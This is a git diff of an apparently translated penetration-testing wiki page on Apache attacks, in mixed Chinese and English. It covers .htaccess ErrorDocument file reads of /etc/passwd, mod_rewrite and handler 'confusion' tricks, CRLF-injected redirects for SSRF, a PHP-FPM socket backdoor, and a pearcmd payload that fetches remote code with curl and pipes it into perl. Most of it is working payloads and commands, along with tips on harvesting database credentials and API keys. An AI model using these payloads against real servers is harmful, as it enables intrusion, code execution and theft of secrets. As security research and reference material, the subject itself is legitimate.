Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-08-28 18:51:54 +00:00
parent 3bcdcecbd3
commit e8a91882f6
2 changed files with 447 additions and 401 deletions

File diff suppressed because it is too large Load Diff

View File

@ -4,11 +4,11 @@
## 可执行的 PHP 扩展
检查 Apache 服务器正在执行哪些扩展。要搜索它们,可以执行:
检查 Apache 服务器正在执行哪些扩展。要搜索它们,可以执行:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
此外,您可以找到此配置的一些地方是
此外,有些地方可以找到此配置
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## 混淆攻击 <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
## 通过 .htaccess 的 ErrorDocument file provider 实现 LFI (ap_expr)
这些类型的攻击已被[**Orange在这篇博客文章中介绍和记录**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1),以下是总结。 "混淆"攻击基本上利用了多个模块在创建Apache时并未完美同步工作的方式使得其中一些模块修改一些意外数据可能导致后续模块出现漏洞
如果你能控制某目录的 .htaccess且该路径的 AllowOverride 包含 FileInfo就可以在 ErrorDocument 中使用 ap_expr 的 file() 函数,将 404 响应转换为任意本地文件读取
### 文件名混淆
- 要求:
- Apache 2.4,启用 expression parser (ap_expr)2.4 中为默认)。
- vhost/dir 必须允许 .htaccess 设置 ErrorDocumentAllowOverride FileInfo
- Apache worker 用户必须对目标文件具有读取权限。
#### 截断
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
通过请求该目录下任何不存在的路径来触发,例如在滥用 userdir-style hosting 时:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notes and tips:
- Only absolute paths work. The content is returned as the response body for the 404 handler.
- Effective read permissions are those of the Apache user (typically www-data/apache). You wont read /root/* or /etc/shadow in default setups.
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
**`mod_rewrite`**将在字符`?`之后修剪`r->filename`的内容([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141))。这并不是完全错误,因为大多数模块会将`r->filename`视为URL。但在其他情况下这将被视为文件路径这会导致问题。
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
- **路径截断**
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
可以像以下规则示例中那样滥用`mod_rewrite`,通过简单地添加一个`?`来移除预期路径的最后一部分,从而访问文件系统中的其他文件:
### Filename Confusion
#### Truncation
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- **Path Truncation**
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **误导 RewriteFlag 分配**
- **误导性 RewriteFlag 赋值**
下重写规则中,只要 URL 以 .php 结尾,它就会被视为 php 并执行。因此,可以在 `?` 字符后发送一个以 .php 结尾的 URL同时在路径中加载一个不同类型的文件如图像其中包含恶意的 php 代码:
在下面的重写规则中,只要 URL 以 .php 结尾,它就会被视为并作为 php 执行。因此,可以发送一个在 `?` 字符之后以 .php 结尾的 URL同时在路径中加载不同类型的文件例如图像该文件内部包含恶意 php 代码:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
即使访问应该被拒绝,仍然可以访问用户不应该能够访问的文件,配置如下
可以访问本不应被访问的文件,即使通过如下配置访问应该被拒绝
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
这是因为默认情况下PHP-FPM 将接收以 `.php` 结尾的 URL例如 `http://server/admin.php%3Fooo.php`,并且因为 PHP-FPM 会删除字符 `?` 之后的任何内容,之前的 URL 将允许加载 `/admin.php`,即使之前的规则禁止它。
这是因为默认情况下 PHP-FPM 会接收以 `.php` 结尾的 URL例如 `http://server/admin.php%3Fooo.php`,并且由于 PHP-FPM 会移除字符 `?` 之后的所有内容,前面的 URL 将允许加载 `/admin.php`,即使之前的规则禁止它。
### DocumentRoot Confusion
### DocumentRoot 混淆
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
一个关于Apache的有趣事实是之前的重写将尝试从documentRoot和根目录访问文件。因此`https://server/abouth.html`的请求将在文件系统中检查`/var/www/html/about.html``/about.html`中的文件。这基本上可以被滥用来访问文件系统中的文件。
关于 Apache 的一个有趣事实是,前面的 rewrite 会尝试同时从 documentRoot 和 root 访问文件。因此,对 `https://server/abouth.html` 的请求会在文件系统中检查 `/var/www/html/about.html``/about.html`。这基本上可以被滥用来访问文件系统中的文件。
#### **服务器端源代码泄露**
#### **Server-Side Source Code Disclosure**
- **泄露CGI源代码**
- **Disclose CGI Source Code**
只需在末尾添加一个%3F就足以泄露cgi模块的源代码:
只需在末尾添加 %3F 就足以 leak cgi 模块的源代码:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -95,116 +123,116 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **泄露 PHP 源代码**
- **披露 PHP Source Code**
如果服务器有不同的域名,其中一个是静态域名,这可以被利用来遍历文件系统并泄露 php 代码:
如果服务器配置了多个域名,其中一个是静态域名,攻击者可以滥用它来遍历文件系统并 leak php code:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **本地小工具操控**
#### **Local Gadgets Manipulation**
之前攻击的主要问题是,默认情况下大多数对文件系统的访问将被拒绝如Apache HTTP Server的[配置模板](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)
之前攻击的主要问题是,默认情况下对文件系统的大多数访问会被拒绝,正如 Apache HTTP Server 的 [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
然而,默认情况下,[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统允许 `/usr/share`
然而,[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统默认允许 `/usr/share`
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
因此,在这些发行版中**滥用位于 `/usr/share` 的文件是可能的。**
因此,可以在这些发行版中**滥用位于 `/usr/share` 的文件。**
**本地小工具导致信息泄露**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server** **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本,这可能会泄露敏感环境变量。
- 使用 **Nginx****Jetty** 的服务器可能会通过其默认的 web 根目录暴露敏感的 web 应用程序信息(例如,**web.xml**),这些根目录位于 **/usr/share** 下
- **Apache HTTP Server** with **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本,这可能会 leak 敏感的环境变量。
- 使用 **Nginx****Jetty** 的服务器可能会通过放置在 **/usr/share** 下的默认 web 根暴露敏感的 web 应用信息(例如 **web.xml**
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**本地小工具导致 XSS**
**Local Gadget to XSS**
- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上,利用帮助文件的语言切换功能可能导致 **跨站脚本攻击 (XSS)**。通过操纵 **/usr/share/libreoffice/help/help.html** 的 URL可以重定向到恶意页面或旧版本使用 **不安全的 RewriteRule**
- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上,利用帮助文件的语言切换功能可能导致 **Cross-Site Scripting (XSS)**。在 **/usr/share/libreoffice/help/help.html** 操作 URL 可以通过不安全的 RewriteRule 重定向到恶意页面或旧版本
**本地小工具导致 LFI**
**Local Gadget to LFI**
- 如果安装了 PHP 或某些前端包,如 **JpGraph****jQuery-jFeed**,其文件可能被利用来读取敏感文件,**/etc/passwd**
- 如果安装了 PHP 或某些前端包(如 **JpGraph****jQuery-jFeed**),它们的文件可能被利用来读取敏感文件**/etc/passwd**
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**本地小工具导致 SSRF**
**Local Gadget to SSRF**
- 利用 **MagpieRSS 的 magpie_debug.php** 在 **/usr/share/php/magpierss/scripts/magpie_debug.php**,可以轻松创建 SSRF 漏洞,为进一步的攻击提供通道
- 利用 **MagpieRSS** 的 **magpie_debug.php**(位于 **/usr/share/php/magpierss/scripts/magpie_debug.php**)可以很容易地构造出 SSRF 漏洞,为进一步利用提供入口
**本地小工具导致 RCE**
**Local Gadget to RCE**
- **远程代码执行 (RCE)** 的机会广泛,存在脆弱的安装,如过时的 **PHPUnit****phpLiteAdmin**。这些可以被利用来执行任意代码,展示了本地小工具操作的广泛潜力。
- 存在大量可导致 **Remote Code Execution (RCE)** 的机会,例如过时的 **PHPUnit****phpLiteAdmin** 安装。可以利用这些来执行任意代码,展示本地 gadget 操作的广泛潜力。
#### **从本地小工具越狱**
#### **Jailbreak from Local Gadgets**
通过跟随这些文件夹中安装软件生成的符号链接,也可以从允许的文件夹中越狱,例如:
也可以通过跟随这些文件夹中安装软件生成的符号链接从允许的文件夹中实现越狱,例如:
- **Cacti 日志**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr 数据**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr 配置**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki 配置**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp 配置**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
此外,滥用符号链接可以获得 **Redmine 中的 RCE**。
此外,滥用符号链接曾导致在 Redmine 中获得 **RCE**。
### 处理程序混淆 <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
此攻击利用了 `AddHandler``AddType` 指令之间功能的重叠,这两者都可以用来 **启用 PHP 处理**。最初,这些指令影响服务器内部结构中的不同字段(分别为 `r->handler``r->content_type`)。然而,由于遗留代码Apache 在某些条件下可以互换处理这些指令,如果前者被设置而后者未设置,则`r->content_type` 转换为 `r->handler`
攻击利用了 `AddHandler``AddType` 指令在功能上的重叠,这两者都可以用来 **启用 PHP 处理**。最初,这些指令分别影响服务器内部结构中的不同字段(分别为 `r->handler``r->content_type`)。然而,由于遗留代码的存在Apache 在某些条件下会互换处理这些指令:如果设置了 `r->content_type``r->handler` 未设置,则会`r->content_type` 转换为 `r->handler`
此外,在 Apache HTTP Server (`server/config.c#L420`) 中,如果在执行 `ap_run_handler()` 之前 `r->handler` 为空,服务器 **将 `r->content_type` 作为处理程序使用**,有效地使 `AddType``AddHandler` 在效果上相同。
此外,在 Apache HTTP Server`server/config.c#L420`)中,如果在执行 `ap_run_handler()` 之前 `r->handler` 为空,服务器会**使用 `r->content_type` 作为 handler**,这实际上使 `AddType``AddHandler` 在效果上等同。
#### **覆盖处理程序以泄露 PHP 源代码**
#### **Overwrite Handler to Disclose PHP Source Code**
在 [**这次演讲**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中,展示了一个漏洞,其中客户端发送的错误 `Content-Length` 可能导致 Apache 错误地 **返回 PHP 源代码**。这是因为 ModSecurity 和 Apache Portable Runtime (APR) 的错误处理问题,导致双重响应覆盖 `r->content_type` `text/html`。\
因为 ModSecurity 没有正确处理返回值,它会返回 PHP 代码而不会解释
在 [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中展示了一个漏洞:客户端发送不正确的 `Content-Length` 可能导致 Apache 错误地**返回 PHP 源代码**。这是由于 ModSecurity 与 Apache Portable Runtime (APR) 的错误处理问题,双重响应会导致 `r->content_type` 被覆盖`text/html`。\
因为 ModSecurity 正确处理返回值,它会返回 PHP 代码而不会对其进行解释。
#### **覆盖处理程序以 XXXX**
#### **Overwrite Handler to XXXX**
TODO: Orange 尚未披露此漏洞
TODO: Orange hasn't disclose this vulnerability yet
### **调用任意处理程序**
### **Invoke Arbitrary Handlers**
如果攻击者能够控制服务器响应中的 **`Content-Type`** 头,他将能够 **调用任意模块处理程序**。然而,在攻击者控制这一点时,请求的大部分处理过程将已完成。然而,可以通过滥用 `Location`**重新启动请求过程**,因为如果 **返回的 `Status` 为 200 且 `Location` 头以 `/` 开头,则响应被视为服务器端重定向,应该被处理**
如果攻击者能够控制服务器响应中的 **`Content-Type`** 头,他将能够**调用任意模块 handler**。不过,到攻击者控制该头时,请求的大部分处理流程通常已完成。然而,可以通过滥用 `Location` 头来**重启请求处理流程**,因为如果返回的 `Status` 为 200 且 `Location` 头以 `/` 开头,则该响应被视为服务器端重定向并应被重新处理
根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)(关于 CGI 的规范)在 [第 6.2.2 节](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 定义了本地重定向响应行为:
根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)(关于 CGI 的规范)在 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 定义了本地重定向响应行为:
> CGI 脚本可以在 Location 头字段中返回 URI 路径和查询字符串local-pathquery以指向本地资源。这向服务器指示它应该使用指定的路径重新处理请求。
> CGI 脚本可以在 Location 头字段返回本地资源的 URI 路径和查询字符串“local-pathquery”。这表示服务器应使用指定的路径重新处理该请求。
因此,要执行此攻击,需要以下漏洞之一
因此,要执行此攻击,需具备以下其中之一的漏洞
- CGI 响应头中的 CRLF 注入
- 完全控制响应头的 SSRF
- CGI 响应头中的 CRLF 注入CRLF Injection
- 完全控制响应头的 SSRF
#### **任意处理程序导致信息泄露**
#### **Arbitrary Handler to Information Disclosure**
例如`/server-status` 应仅在本地可访问:
例如 `/server-status` 应仅在本地可访问:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
可以通过将 `Content-Type` 设置为 `server-status` 并将 Location 头以 `/` 开头来访问它。
可以通过将 `Content-Type` 设置为 `server-status` 并将 Location 头设置为`/` 开头来访问它。
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **任意处理程序到完整的SSRF**
#### **Arbitrary Handler to Full SSRF**
重定向到 `mod_proxy` 以访问任何 URL 上的任何协议:
```
@ -215,9 +243,9 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
然而,`X-Forwarded-For` 标头被添加以防止访问云元数据端点。
但是,已添加 `X-Forwarded-For` 头,阻止访问云元数据端点。
#### **任意处理程序访问本地 Unix 域套接字**
#### **任意处理程序访问本地 Unix 域套接字**
访问 PHP-FPM 的本地 Unix 域套接字以执行位于 `/tmp/` 的 PHP 后门:
```
@ -226,9 +254,9 @@ Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **任意处理程序到 RCE**
#### **Arbitrary Handler to RCE**
官方 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`),这是一个命令行 PHP 包管理工具,可以被滥用以获得 RCE
官方 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`),这是一个命令行 PHP 包管理工具,可能被滥用以获取 RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
检查 [**Docker PHP LFI 总结**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)由 [Phith0n](https://x.com/phithon_xg) 撰写,了解该技术的详细信息。
查看 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)作者 [Phith0n](https://x.com/phithon_xg),以获取此技术的详细信息。
## 参考文献
## References
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}